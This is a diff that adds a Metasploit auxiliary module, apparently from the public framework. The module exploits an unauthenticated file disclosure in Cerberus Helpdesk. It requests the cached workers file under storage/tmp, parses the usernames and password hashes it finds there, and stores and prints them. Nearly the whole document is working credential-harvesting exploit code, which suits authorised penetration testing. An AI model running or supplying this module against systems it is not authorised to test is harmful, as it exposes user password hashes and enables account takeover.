|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + |
| 8 | + include Msf::Exploit::Remote::HttpClient |
| 9 | + include Msf::Auxiliary::Scanner |
| 10 | + include Msf::Auxiliary::Report |
| 11 | + |
| 12 | + def initialize |
| 13 | + super( |
| 14 | + 'Name' => 'Cerberus Helpdesk User Hash Disclosure', |
| 15 | + 'Description' => %q{ |
| 16 | + This module extracts usernames and password hashes from the Cerberus Helpdesk |
| 17 | + through an unauthenticated access to a workers file. |
| 18 | + Verified on Version 4.2.3 Stable (Build 925) and 5.4.4 |
| 19 | + }, |
| 20 | + 'References' => |
| 21 | + [ |
| 22 | + [ 'EDB', '39526' ] |
| 23 | + ], |
| 24 | + 'Author' => |
| 25 | + [ |
| 26 | + 'asdizzle_', # discovery |
| 27 | + 'h00die', # module |
| 28 | + ], |
| 29 | + 'License' => MSF_LICENSE, |
| 30 | + 'DisclosureDate' => 'Mar 7 2016' |
| 31 | + ) |
| 32 | + |
| 33 | + register_options( |
| 34 | + [ |
| 35 | + OptString.new('TARGETURI', [false, 'URL of the Cerberus Helpdesk root', '/']) |
| 36 | + ]) |
| 37 | + end |
| 38 | + |
| 39 | + def run_host(rhost) |
| 40 | + begin |
| 41 | + ['devblocks', 'zend'].each do |site| |
| 42 | + url = normalize_uri(datastore['TARGETURI'], 'storage', 'tmp', "#{site}_cache---ch_workers") |
| 43 | + vprint_status("Attempting to load data from #{url}") |
| 44 | + res = send_request_cgi({'uri' => url}) |
| 45 | + if !res |
| 46 | + print_error("#{peer} Unable to connect to #{url}") |
| 47 | + next |
| 48 | + end |
| 49 | + |
| 50 | + if !res.body.include?('pass') |
| 51 | + print_error("Invalid response received for #{peer} for #{url}") |
| 52 | + next |
| 53 | + end |
| 54 | + |
| 55 | + cred_table = Rex::Text::Table.new 'Header' => 'Cerberus Helpdesk User Credentials', |
| 56 | + 'Indent' => 1, |
| 57 | + 'Columns' => ['Username', 'Password Hash'] |
| 58 | + |
| 59 | + # the returned object looks json-ish, but it isn't. Unsure of format, so we'll do some ugly manual parsing. |
| 60 | + # this will be a rough equivalent to sed -e 's/s:5/\n/g' | grep email | cut -d '"' -f4,8 | sed 's/"/:/g' |
| 61 | + result = res.body.split('s:5') |
| 62 | + result.each do |cred| |
| 63 | + if cred.include?('email') |
| 64 | + cred = cred.split(':') |
| 65 | + username = cred[3].tr('";', '') # remove extra characters |
| 66 | + username = username[0...-1] # also remove trailing s |
| 67 | + password_hash = cred[7].tr('";', '') # remove extra characters |
| 68 | + print_good("Found: #{username}:#{password_hash}") |
| 69 | + store_valid_credential( |
| 70 | + user: username, |
| 71 | + private: password_hash, |
| 72 | + private_type: :nonreplayable_hash |
| 73 | + ) |
| 74 | + cred_table << [username, password_hash] |
| 75 | + end |
| 76 | + end |
| 77 | + print_line |
| 78 | + print_line cred_table.to_s |
| 79 | + break |
| 80 | + end |
| 81 | + |
| 82 | + rescue ::Rex::ConnectionError |
| 83 | + print_error("#{peer} Unable to connect to site") |
| 84 | + return |
| 85 | + end |
| 86 | + end |
| 87 | +end |
0 commit comments